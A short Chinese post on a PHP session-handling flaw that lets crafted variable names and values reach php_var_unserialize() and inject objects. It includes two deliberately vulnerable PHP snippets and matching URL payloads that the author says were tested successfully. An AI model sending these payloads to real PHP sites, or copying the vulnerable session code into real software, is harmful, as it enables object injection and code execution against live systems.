php处理Session时的不足将导致代码注入并执行
php在处理session时内核会用到php_var_unserialize(),在这之前对传进来的变量会先做默认的两种特殊字符(!和|)判断,一定情况下构造特殊的变量名和值到php_var_unserialize()能执行我们给定的代码。产生的漏洞效果和unserialize()函数一样。具体漏洞代码和原理se牛有给出,感兴趣的同学可以认真跟下,下面代码也测试成功!
例一:
<?php
session_start();
$_SESSION[$_GET[a] = $_GET[b];
?>xx.php?a=!&b=|O:6:"xhm1n9":0:{}
例二:
<?php
session_start();
$_SESSION = array_merge($_SESSION, $_GET);
?>xx.php?!=|xxx|O:10:"evilObject":0:{}
补充:综合编程 , 安全编程 ,